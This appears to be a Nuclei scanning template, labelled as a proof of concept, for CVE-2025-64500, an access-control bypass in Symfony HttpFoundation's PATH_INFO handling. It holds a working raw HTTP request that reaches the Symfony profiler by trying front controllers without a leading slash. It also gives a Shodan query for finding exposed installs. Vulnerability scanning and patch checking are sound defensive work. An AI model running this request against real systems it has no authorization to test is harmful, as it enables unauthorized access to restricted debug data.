Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.
PoC
id: CVE-2025-64500
info:
name: Symfony HttpFoundation - Access Control Bypass via PATH_INFO
author: DhiyaneshDk
severity: high
description: |
Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.
impact: |
Attackers can bypass access control rules, potentially gaining unauthorized access to restricted resources.
remediation: Update to Symfony versions 5.4.50, 6.4.29, or 7.3.7 or later.
reference:
- https://github.com/symfony/symfony/security/advisories/GHSA-3rg7-wf37-54rm
- https://symfony.com/blog/cve-2025-64500-incorrect-parsing-of-path-info-can-lead-to-limited-authorization-bypass
- https://github.com/symfony/symfony/commit/9962b91b12bb791322fa73836b350836b6db7cac
- https://nvd.nist.gov/vuln/detail/CVE-2025-64500
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2025-64500
cwe-id: CWE-647
epss-score: 0.01325
epss-percentile: 0.69514
metadata:
verified: true
max-request: 2
vendor: sensiolabs
product: symfony
shodan-query: cpe:"cpe:2.3:a:sensiolabs:symfony"
tags: cve,cve2025,symfony,auth-bypass
http:
- raw:
- |
GET /{{front_controller}}_profiler/ HTTP/1.1
Host: {{Hostname}}
payloads:
front_controller:
- "index.php"
- "app.php"
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "Symfony Profiler"
- "<title>Profiler</title>"
- "Symfony-Debug-Toolbar"
condition: or
# digest: 4b0a00483046022100c0406c1617c33036f3de33f1e628355c36b1dc89d4a1e8abdfbd37a09b1abb3c022100b480767bd94d4c4d6ca571210a89bea974fa6c4915f38aa48ad68d4dece8ea8a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.